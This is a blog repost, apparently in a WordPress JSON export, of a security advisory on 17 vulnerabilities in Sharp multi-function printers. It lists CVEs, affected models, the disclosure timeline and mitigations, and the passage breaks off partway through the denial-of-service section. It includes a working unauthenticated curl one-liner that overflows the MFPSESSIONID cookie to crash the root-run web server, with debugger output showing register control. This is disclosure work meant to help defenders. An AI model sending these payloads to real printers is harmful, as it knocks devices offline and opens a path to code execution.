{"id":57888,"date":"2024-07-04T19:30:27","date_gmt":"2024-07-04T16:30:27","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179363\/2024-sharp-mfp.txt"},"modified":"2024-07-04T19:30:27","modified_gmt":"2024-07-04T16:30:27","slug":"sharp-multi-function-printer-18-vulnerabilities","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sharp-multi-function-printer-18-vulnerabilities\/","title":{"rendered":"Sharp Multi-Function Printer 18 Vulnerabilities"},"content":{"rendered":"<p>Hello,<\/p>\n<p>Please find a text-only version below sent to security mailing lists.<\/p>\n<p>The complete version on &#8220;17 vulnerabilities in Sharp Multi-Function<br \/>Printers&#8221; is posted here:<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html<\/p>\n<p>The text version is also posted here:<br \/>https:\/\/pierrekim.github.io\/advisories\/2024-sharp-mfp.txt<\/p>\n<p>=== text-version of the advisory ===<\/p>\n<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;<br \/>Hash: SHA512<\/p>\n<p>## Advisory Information<\/p>\n<p>Title: 17 vulnerabilities in Sharp Multi-Function Printers<br \/>Advisory URL: https:\/\/pierrekim.github.io\/advisories\/2024-sharp-mfp.txt<br \/>Blog URL: https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html<br \/>Date published: 2024-06-27<br \/>Vendors contacted: JPCERT<br \/>Release mode: Released<br \/>CVE: CVE-2024-28038, CVE-2024-36251, CVE-2024-28955, CVE-2024-29146,<br \/>CVE-2024-29978, CVE-2024-32151, CVE-2024-33605, CVE-2024-33610,<br \/>CVE-2024-33610, CVE-2024-35244, CVE-2024-33616, CVE-2024-34162,<br \/>CVE-2024-36248<\/p>\n<p>## Product description<\/p>\n<p>&gt; Multifunction printers offer more than just print. These devices integrate the power of a printer, photocopier and scanner into one single device.<br \/>&gt;<br \/>&gt; From https:\/\/www.sharp.co.uk\/printers-photocopiers\/explore-sharp-printers\/sharp-multifunction-printers<\/p>\n<p>## Vulnerability Summary<\/p>\n<p>Vulnerable versions: 308 different models of Sharp Multi-Function<br \/>Printers (MFP) are vulnerable. It is recommended to visit the official<br \/>Sharp advisory (https:\/\/global.sharp\/products\/copier\/info\/info_security_2024-05.html)<br \/>and apply security patches and replace unsupported Multi-Function<br \/>Printers (MFP) models.<\/p>\n<p>The summary of the vulnerabilities is as follows:<\/p>\n<p>1. CVE-2024-28038 &#8211; Memory corruption in the main program &#8211; Remote<br \/>Code Execution against the web server without authentication<br \/>2. CVE-2024-36251 &#8211; Invalid (0x000000d0) pointer dereference &#8211; Remote<br \/>DoS without authentication<br \/>3. CVE-2024-28955, CVE-2024-29146, CVE-2024-29978, CVE-2024-32151 &#8211;<br \/>World-readable coredump files and insecure storage of credentials<br \/>4. CVE-2024-33605 &#8211; Arbitrary Directory Listing without authentication<br \/>5. non-assigned CVE vulnerability &#8211; Local File Inclusion allowing to<br \/>read any file (e.g. Coredump files) without authentication<br \/>5.1 Generation of the coredump file on the printer<br \/>5.2 Local File Inclusion of the coredump file<br \/>5.3 Retrieve of credentials using the coredump files<br \/>5.4 Retrieve of credentials using configuration files<br \/>6. CVE-2024-33610 &#8211; Backdoor webpage &#8211; Listing of session cookies<br \/>without authentication<br \/>7. non-assigned CVE vulnerability &#8211; Configuration webpages reachable<br \/>without authentication<br \/>8. CVE-2024-33610 &#8211; Reboot without authentication &#8211; Remote DoS<br \/>9. CVE-2024-35244 &#8211; Backdoor access &#8211; Service<br \/>10. non-assigned CVE vulnerability &#8211; Backdoor access &#8211; FSS User<br \/>11. non-assigned CVE vulnerability &#8211; Insecure default credentials<br \/>12. CVE-2024-33616 &#8211; Read admin access on telnet<br \/>13. non-assigned CVE vulnerability &#8211; XSS on all the Sharp printers (login.html)<br \/>14. non-assigned CVE vulnerability &#8211; XSS on all the Sharp printers<br \/>(all other HTML pages)<br \/>15. CVE-2024-34162 &#8211; Exfiltration of LDAP credentials by downgrading<br \/>the security<br \/>16. CVE-2024-36248 &#8211; Hardcoded Google API Keys<br \/>17. non-assigned CVE vulnerability &#8211; Hardcoded Amazon API Keys<br \/>18. N-day CVE-2022-45796 &#8211; Remote Code Execution<\/p>\n<p>TL;DR: An attacker can compromise Sharp Multi-Function Printers using<br \/>multiple vulnerabilities.<\/p>\n<p>List of vulnerable models of Sharp Multi-Function Printers (308 models):<\/p>\n<p>BP-30C25, BP-30C25T, BP-30C25Y, BP-30C25Z, BP-30M35, BP-30M31,<br \/>BP-30M28, BP-30M35T, BP-30M31T, BP-30M28T,<br \/>BP-50C36, BP-50C31, BP-50C26, BP-50C65, BP-50C55, BP-50C45,<br \/>BP-50M36, BP-50M31, BP-50M26, BP-50M55,<br \/>BP-50M50, BP-50M45, BP-55C26, BP-60C45, BP-60C36, BP-60C31,<br \/>BP-70C36, BP-70C31, BP-70C65, BP-70C55,<br \/>BP-70C45, BP-70M36, BP-70M31, BP-70M65, BP-70M55, BP-70M45,<br \/>BP-90C70, BP-90C80, BP-B547WD, BP-B537WR,<br \/>BP-B550WD, BP-B540WR, BP-70M90, BP-70M75, MX-M1205, MX-M1055,<br \/>DX-2500N, DX-2000U, MX-2010U, MX-1810U,<br \/>MX-2314N, MX-2314NR, MX-2630N, MX-3050N A, MX-3050V A, MX-3100N,<br \/>MX-3100G, MX-2600N, MX-2600G, MX-3101N,<br \/>MX-2601N, MX-2301N, MX-3111U, MX-2310U, MX-2310R, MX-3115N,<br \/>MX-2615N, MX-2615 A, MX-3116N, MX-2616N,<br \/>MX-3551, MX-3051, MX-2651, MX-3570N, MX-3070N, MX-3570V, MX-3070V,<br \/>MX-3571, MX-3071, MX-3571S,<br \/>MX-3071S, MX-3610N, MX-3110N, MX-2610N, MX-3110N A, MX-3610NR,<br \/>MX-3640N, MX-3140N, MX-2640N, MX-3140N A,<br \/>MX-3640NR, MX-3140NR, MX-2640NR, MX-4050N, MX-3550N, MX-3050N,<br \/>MX-4050V, MX-3550V, MX-3050V, MX-4060N,<br \/>MX-3560N, MX-3060N, MX-4060V, MX-3560V, MX-3060V, MX-4061,<br \/>MX-3561, MX-3061, MX-4061S, MX-3561S,<br \/>MX-3061S, MX-5001N, MX-5000N, MX-4101N, MX-4100N, MX-5112N,<br \/>MX-5111N, MX-5110N, MX-4112N, MX-4111N,<br \/>MX-4110N, MX-5141N A, MX-4140N A, MX-5141N, MX-5140N, MX-4141N,<br \/>MX-4140N, MX-6050N, MX-5050N, MX-6050V,<br \/>MX-5050V, MX-6051, MX-5051, MX-4051, MX-6070N A, MX-4070N A,<br \/>MX-3070N A, MX-6070N, MX-5070N, MX-4070N,<br \/>MX-6070V A, MX-4070V A, MX-3070V A, MX-6070V, MX-5070V, MX-4070V,<br \/>MX-6071, MX-5071, MX-4071, MX-6071S,<br \/>MX-5071S, MX-4071S, MX-7040N, MX-6240N, MX-7500N, MX-6500N,<br \/>MX-7580N, MX-6580N, MX-8081, MX-7081,<br \/>MX-8090N, MX-7090N, MX-B400P, MX-B380P, MX-B401, MX-B381, MX-B402,<br \/>MX-B382, MX-B402P, MX-B382P,<br \/>MX-B402SC, MX-B382SC, MX-B455W, MX-B355W, MX-B455WT, MX-B355WT,<br \/>MX-B455WZ, MX-B355WZ, MX-B456WH, MX-B356WH,<br \/>MX-B456W, MX-B356W, MX-B476WH, MX-B376WH, MX-B476W, MX-B376W,<br \/>MX-C301W, MX-C301, MX-C304, MX-C303,<br \/>MX-C304WH, MX-C303WH, MX-C304W, MX-C303W, MX-C312, MX-C311,<br \/>DX-C311, DX-C311J, MX-C310, DX-C310,<br \/>MX-C381, DX-C381, MX-C380, MX-C381B, MX-C400P, MX-C380P, MX-C401,<br \/>DX-C401, DX-C401 J, MX-C400,<br \/>DX-C400, MX-C402SC, MX-C382SC, MX-C382SCB, MX-M1204, MX-M1054,<br \/>MX-M904, MX-M1206, MX-M1056, MX-M2630,<br \/>MX-M2630 A, MX-M266N, MX-M265N, MX-M265U, MX-M266NV, MX-M265NV,<br \/>MX-M265UV, MX-M3050 A, MX-M314NV, MX-M264NV,<br \/>MX-M315NE, MX-M265NE, MX-M315NE, MX-M265NE, MX-M315V, MX-M265V,<br \/>MX-M354N, MX-M314N, MX-M264N, MX-M354NR,<br \/>MX-M314NR, MX-M264NR, MX-M354U, MX-M314U, MX-M264U, MX-M3550,<br \/>MX-M3050, MX-M3551, MX-M3051, MX-M2651,<br \/>MX-M356N, MX-M316N, MX-M315N, MX-M356U, MX-M315U, MX-M356NV,<br \/>MX-M316NV, MX-M315NV, MX-M356UV, MX-M315UV,<br \/>MX-M3570, MX-M3070, MX-M3571, MX-M3071, MX-M3571S, MX-M3071S,<br \/>MX-M465N A, MX-M365N A, MX-M503N, MX-M453N,<br \/>MX-M363N, MX-M283N, MX-M503U, MX-M453U, MX-M363U, MX-M564N,<br \/>MX-M464N, MX-M364N, MX-M564N A, MX-M565N,<br \/>MX-M465N, MX-M365N, MX-M6050, MX-M5050, MX-M4050, MX-M6051,<br \/>MX-M5051, MX-M4051, MX-M6070 A, MX-M4070 A,<br \/>MX-M3070 A, MX-M6070, MX-M5070, MX-M4070, MX-M6071, MX-M5071,<br \/>MX-M4071, MX-M6071S, MX-M5071S, MX-M4071S,<br \/>MX-M753N, MX-M753U, MX-M623N, MX-M623U, MX-M754N, MX-M654N,<br \/>MX-M754N A, MX-M654N A, MX-M7570, MX-M6570,<br \/>MX-M905.<\/p>\n<p>_Miscellaneous notes_:<\/p>\n<p>This security assessment was entirely done using a blackbox approach<br \/>and fully-remote &#8211; I only had some IPs of printers (no physical access<br \/>and no credentials for admin or normal users). Consequently, the<br \/>physical security of the printers was not analyzed and the<br \/>vulnerabilities were confirmed with about 15 different models running<br \/>the latest firmware versions (MX-3060N, MX-3061, MX-3070N, MX-3560N,<br \/>MX-3561, MX-5070V, MX-5071, MX-C3051R MX-C3081R, MX-M365N, MX-M453U,<br \/>MX-M465N, MX-M5050, MX-M5051, MX-M6051 and MX-M6071).<\/p>\n<p>The vulnerabilities were communicated to JPCERT on June 1, 2023 and<br \/>communications with JPCERT were very effective &#8211; they fully managed<br \/>interactions with Sharp.<\/p>\n<p>_Impacts_<\/p>\n<p>An attacker can compromise Sharp multi-function printers (MFP) and<br \/>execute code. These printers are running Linux and are powerful. They<br \/>are ideal to host implants (and fun programs, like Bettercap) and move<br \/>laterally inside infrastructures.<\/p>\n<p>_Recommendations_<\/p>\n<p>&#8211; &#8211; Use network segmentation to isolate MFPs.<br \/>&#8211; &#8211; Apply security patches.<br \/>&#8211; &#8211; Replace unsupported MFPs.<\/p>\n<p>## Details &#8211; Memory corruption in the main program &#8211; Remote Code<br \/>Execution against the web server without authentication<\/p>\n<p>By Default, Sharp printers are using a single super-program that will<br \/>run as root and provide network daemons (ftp, http, snmp,<br \/>raw-printer-9100, &#8230;). This single program is vulnerable to a<br \/>stack-based buffer overflow without authentication.<\/p>\n<p>This `main` program runs as root and its HTTP stack is vulnerable,<br \/>without authentication, to a stack-based buffer overflow, allowing an<br \/>attacker to redirect the control flow of the program and achieve<br \/>remote code execution.<\/p>\n<p>`main` program listening on port 80\/tcp:<\/p>\n<p>sh-4.3# ps -auxww | grep main<br \/>root 1186 6.3 5.3 2124656 172688 ? Sl 00:27 43:36<br \/>\/tmp\/app\/ui\/ui_mainview -hidecursor<br \/>root 2081 3.9 10.9 2515532 348980 ? Sl 00:27 26:52<br \/>\/tmp\/main\/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk<br \/>root 13598 0.0 0.0 1980 368 pts\/0 S+ 11:49 0:00 grep main<br \/>sh-4.3# netstat -laputen | grep main<br \/>tcp 0 0 0.0.0.0:50001 0.0.0.0:* LISTEN<br \/>0 10217 2081\/main<br \/>tcp6 0 0 :::443 :::* LISTEN<br \/>0 12538 2081\/main<br \/>tcp6 0 0 :::52000 :::* LISTEN<br \/>0 33214 2081\/main<br \/>tcp6 0 0 :::10080 :::* LISTEN<br \/>0 18542 2081\/main<br \/>tcp6 0 0 :::515 :::* LISTEN<br \/>0 10166 2081\/main<br \/>tcp6 0 0 :::53000 :::* LISTEN<br \/>0 12539 2081\/main<br \/>tcp6 0 0 :::10443 :::* LISTEN<br \/>0 18545 2081\/main<br \/>tcp6 0 0 :::5900 :::* LISTEN<br \/>0 33233 2081\/main<br \/>tcp6 0 0 :::9100 :::* LISTEN<br \/>0 12534 2081\/main<br \/>tcp6 0 0 :::80 :::* LISTEN<br \/>0 12537 2081\/main<br \/>tcp6 0 0 :::21 :::* LISTEN<br \/>0 10164 2081\/main<br \/>tcp6 0 0 :::631 :::* LISTEN<br \/>0 10168 2081\/main<br \/>udp 0 0 127.0.0.1:9473 0.0.0.0:*<br \/>0 13202 2081\/main<br \/>udp6 0 0 :::5353 :::*<br \/>0 12497 2081\/main<br \/>udp6 0 0 :::161 :::*<br \/>0 33229 2081\/main<br \/>udp6 0 0 :::546 :::*<br \/>0 33145 2081\/main<br \/>sh-4.3#<\/p>\n<p>By default, the printer will provide a MFPSESSIONID cookie when<br \/>reaching the printer with a browser as shown below. This cookie will<br \/>then be used for authentication purposes if the user decides to log<br \/>into the printer. For example, with a HTTP request to \/main.html:<\/p>\n<p>kali% curl -kv http:\/\/10.0.0.1\/main.html | head<br \/>% Total % Received % Xferd Average Speed Time Time<br \/>Time Current<br \/>Dload Upload Total Spent<br \/>Left Speed<br \/>0 0 0 0 0 0 0 0 &#8211;:&#8211;:&#8211; &#8211;:&#8211;:&#8211;<br \/>&#8211;:&#8211;:&#8211; 0* Trying 10.0.0.1:80&#8230;<br \/>* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br \/>&gt; GET \/main.html HTTP\/1.1<br \/>&gt; Host: 10.0.0.1<br \/>&gt; User-Agent: curl\/7.88.1<br \/>&gt; Accept: *\/*<br \/>&gt;<br \/>&lt; HTTP\/1.1 200 OK<br \/>&lt; Server: Rapid Logic\/1.1<br \/>&lt; MIME-version: 1.0<br \/>&lt; Date: Thu Jan 1 02:32:35 1970 GMT<br \/>&lt; Content-Type: text\/html; charset=UTF-8<br \/>&lt; Transfer-Encoding: chunked<br \/>&lt; Connection: close<br \/>&lt; Pragma: no-cache<br \/>&lt; Cache-Control: no-cache<br \/>&lt; X-Frame-Options: DENY<br \/>&lt; Set-Cookie:<br \/>MFPSESSIONID=020015D2C59E7B68C9FB5F411B0E59FCBEF70F7E03CEE4C4C5A12023051115051847BC555A<br \/>&lt; Extend-sharp-setting-status: 0<br \/>&lt;<br \/>{ [2 bytes data]&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243; \/&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=320,initial-scale=1.0&#8243; \/&gt;<br \/>&lt;meta name=&#8221;format-detection&#8221; content=&#8221;telephone=no&#8221; \/&gt;<br \/>&lt;meta http-equiv=&#8221;X-UA-Compatible&#8221; content=&#8221;IE=8; IE=10; IE=11&#8243; \/&gt;<br \/>&lt;title&gt;Machine Identification &#8211; MX-M6071&lt;\/title&gt;<br \/>&lt;link rel=&#8221;stylesheet&#8221; href=&#8221;other.css&#8221; type=&#8221;text\/css&#8221; \/&gt;<br \/>&lt;link rel=&#8221;stylesheet&#8221; href=&#8221;color1.css&#8221; type=&#8221;text\/css&#8221; \/&gt;<br \/>* Failure writing output to destination<br \/>* Failed reading the chunked-encoded stream<br \/>100 6950 0 6950 0 0 196k 0 &#8211;:&#8211;:&#8211; &#8211;:&#8211;:&#8211;<br \/>&#8211;:&#8211;:&#8211; 199k<br \/>* Closing connection 0<br \/>curl: (23) Failure writing output to destination<br \/>kali%<\/p>\n<p>By sending a malicious HTTP request with a long MFPSESSIONID cookie,<br \/>it is possible to overwrite the stack of the main program.<\/p>\n<p>This payload will send a MFPSESSIONID cookie with a payload of 643<br \/>bytes. This payload will overwrite a stack buffer inside the main<br \/>program. The buffer is probably 639 bytes and `EDBB` will overwrite<br \/>the stack:<\/p>\n<p>kali% var=`perl -e &#8220;print &#8216;A&#8217;x639&#8243;`; curl -v -b<br \/>&#8220;MFPSESSIONID=${var}EDCB&#8221; http:\/\/10.0.0.1\/system.html<br \/>* Trying 10.0.0.1:80&#8230;<br \/>* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br \/>&gt; GET \/system.html HTTP\/1.1<br \/>&gt; Host: 10.0.0.1<br \/>&gt; User-Agent: curl\/7.88.1<br \/>&gt; Accept: *\/*<br \/>&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<br \/>&gt;<\/p>\n<p>If \/system.html does not exist, it is possible to use \/main.html or<br \/>any existing html webpage instead:<\/p>\n<p>kali% var=`perl -e &#8220;print &#8216;A&#8217;x639&#8243;`; curl -v -b<br \/>&#8220;MFPSESSIONID=${var}EDCB&#8221; http:\/\/10.0.0.1\/main.html<br \/>* Trying 10.0.0.1:80&#8230;<br \/>* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br \/>&gt; GET \/system.html HTTP\/1.1<br \/>&gt; Host: 10.0.0.1<br \/>&gt; User-Agent: curl\/7.88.1<br \/>&gt; Accept: *\/*<br \/>&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<br \/>&gt;<\/p>\n<p>If the first exploitation does not work, it is possible to resend it<br \/>again to overwrite the stack the second time:<\/p>\n<p>kali% var=`perl -e &#8220;print &#8216;A&#8217;x639&#8243;`; curl -v -b<br \/>&#8220;MFPSESSIONID=${var}EDCB&#8221; http:\/\/10.0.0.1\/system.html<br \/>* Trying 10.0.0.1:80&#8230;<br \/>* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br \/>&gt; GET \/system.html HTTP\/1.1<br \/>&gt; Host: 10.0.0.1<br \/>&gt; User-Agent: curl\/7.88.1<br \/>&gt; Accept: *\/*<br \/>&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<br \/>kali% var=`perl -e &#8220;print &#8216;A&#8217;x639&#8243;`; curl -v -b<br \/>&#8220;MFPSESSIONID=${var}EDCB&#8221; http:\/\/10.0.0.1\/system.html<br \/>* Trying 10.0.0.1:80&#8230;<br \/>* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)<br \/>&gt; GET \/system.html HTTP\/1.1<br \/>&gt; Host: 10.0.0.1<br \/>&gt; User-Agent: curl\/7.88.1<br \/>&gt; Accept: *\/*<br \/>&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB<\/p>\n<p>The `dmesg` output on the printer will confirm that the main program<br \/>crashed while trying to reach the address 0x42434445, corresponding to<br \/>the previous `EDCB` sent inside the cookie. `EDCB` is represented in<br \/>the little-endian format as ARM is little-endian and 0x42434445 can be<br \/>found inside several registers (but not PC).<\/p>\n<p>output of `dmesg`:<\/p>\n[ 127.970220] main[15612]: unhandled level 2 translation fault<br \/>(11) at 0x42434445, esr 0x92000006<br \/>[ 127.979463] pgd = ffff80007a07e000<br \/>[ 127.982981] [42434445] *pgd=00000000fa099003,<br \/>*pud=00000008c6f9d003, *pmd=0000000000000000<\/p>\n[ 127.992811] CPU: 1 PID: 15612 Comm: main Tainted: P O<br \/>4.1.46-rt52 #2<br \/>[ 128.000296] Hardware name: LS1043A MFP Board (DT)<br \/>[ 128.005195] task: ffff8008372c69c0 ti: ffff80083dde0000<br \/>task.ti: ffff80083dde0000<br \/>[ 128.012710] PC is at 0x20d4ff8<br \/>[ 128.015761] LR is at 0x2a0<br \/>[ 128.018465] pc : [&lt;00000000020d4ff8&gt;] lr : [&lt;00000000000002a0&gt;]pstate: 900f0010<br \/>[ 128.026024] sp : 000000008f12f7c0<br \/>[ 128.029335] x12: 0000000042434445<br \/>[ 128.032981] x11: 000000008fd45008 x10: 0000000000000001<br \/>[ 128.038298] x9 : 0000000091247bf8 x8 : 000000008fd5648c<br \/>[ 128.043678] x7 : 0000000000000000 x6 : 000000008fd56c58<br \/>[ 128.048996] x5 : 000000008fd569bc x4 : 0000000008b90bdc<br \/>[ 128.054388] x3 : 0000000042434445 x2 : 0000000042434445<br \/>[ 128.059834] x1 : 000000008fd569b8 x0 : 0000000000000001<\/p>\n<p>On the printer, using GDB, we will confirm the main program crashed<br \/>and the stack has been successfully corrupted:<\/p>\n<p>sh-4.3# ps -auxww|grep main<br \/>root 1186 9.7 4.9 2123632 158080 ? Sl 11:31 0:21<br \/>\/tmp\/app\/ui\/ui_mainview -hidecursor<br \/>root 2023 7.8 9.8 2505880 316360 ? Sl 11:31 0:15<br \/>\/tmp\/main\/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk<br \/>root 26544 0.0 0.0 1980 376 pts\/0 S+ 11:34 0:00 grep main<br \/>sh-4.3# gdb -p 2023<br \/>GNU gdb (GDB) 7.10.1.20160210-cvs<br \/>warning: File &#8220;\/lib\/libthread_db-1.0.so&#8221; auto-loading has been<br \/>declined by your `auto-load safe-path&#8217; set to<br \/>&#8220;$debugdir:$datadir\/auto-load&#8221;.<\/p>\n<p>warning: Unable to find libthread_db matching inferior&#8217;s thread<br \/>library, thread debugging will not be available.<br \/>0xf744f1c4 in pthread_join () from \/lib\/libpthread.so.0<br \/>(gdb) c<\/p>\n<p>&#8230;<br \/>[LWP 32749 exited][New LWP 32750][New LWP 32751][LWP 32751 exited][New LWP 32752]&#8230;<br \/>[New LWP 27196][LWP 27196 exited][New LWP 27197]\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>[Switching to LWP 27195]0x020d4ff8 in ?? ()<br \/>(gdb) bt<br \/>#0 0x020d4ff8 in ?? ()<br \/>#1 0x000002a0 in ?? ()<br \/>Backtrace stopped: previous frame identical to this frame (corrupt stack?)<br \/>(gdb) info reg<br \/>r0 0x1 1<br \/>r1 0x903e0ec8 2419986120<br \/>r2 0x42434445 1111704645<br \/>r3 0x42434445 1111704645<br \/>r4 0x8b90bdc 146344924<br \/>r5 0x903e0ecc 2419986124<br \/>r6 0x903e1168 2419986792<br \/>r7 0x0 0<br \/>r8 0x903e082c 2419984428<br \/>r9 0x918ddcb8 2441993400<br \/>r10 0x1 1<br \/>r11 0x903db008 2419961864<br \/>r12 0x42434445 1111704645<br \/>sp 0x72231fc0 0x72231fc0<br \/>lr 0x2a0 672<br \/>pc 0x20d4ff8 0x20d4ff8<br \/>cpsr 0x90050010 -1878720496<br \/>(gdb) info frame<br \/>Stack level 0, frame at 0x72231fc0:<br \/>pc = 0x20d4ff8; saved pc = 0x2a0<br \/>called by frame at 0x72231fc0<br \/>Arglist at 0x72231fc0, args:<br \/>Locals at 0x72231fc0, Previous frame&#8217;s sp is 0x72231fc0<br \/>(gdb)<\/p>\n<p>There is no ASLR in the `main` program; the addresses are always<br \/>identical therefore exploitation is very likely.<\/p>\n<p>Exploitation was not attempted since no enough time was allocated to<br \/>develop such exploit during this security assessment and I already had<br \/>a remote shell as root on the printers. Sharp confirmed that<br \/>exploitation is possible.<\/p>\n<p>An attacker with a RCE vulnerability can then move laterally and use<br \/>Wifi to exfiltrate information:<\/p>\n<p>bash-4.3# iwlist ath0 scan<br \/>ath0 Scan completed :<br \/>Cell 01 &#8211; Address: 00:3C:10:01:02:03<br \/>ESSID:&#8221;[REDACTED]&#8221;<br \/>Mode:Master<br \/>Frequency:2.412 GHz (Channel 1)<br \/>Quality=93\/94 Signal level=-54 dBm Noise level=-95 dBm<br \/>Encryption key:off<br \/>Bit Rates:12 Mb\/s; 18 Mb\/s; 24 Mb\/s; 36 Mb\/s; 48 Mb\/s<br \/>54 Mb\/s<br \/>Extra:bcn_int=100<\/p>\n<p>bash-4.3#<\/p>\n<p>## Details &#8211; Invalid (0x000000d0) pointer dereference &#8211; Remote DoS<br \/>without authentication<\/p>\n<p>It was observed that the `\/billcodedef_sub_sel.html` webpage is<br \/>reachable without authentication on Sharp printers. A specific request<br \/>to this webpage will trigger an invalid pointer deference in the main<br \/>program. The printer will then reboot after creating coredump files.<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>When submitting the request with the Sub Code `test` by pressing<br \/>`Search Start(Q)`, the HTTP request will be:<\/p>\n<p>HTTP request using the HTML form from `billcodedef_sub_sel.html`:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>It 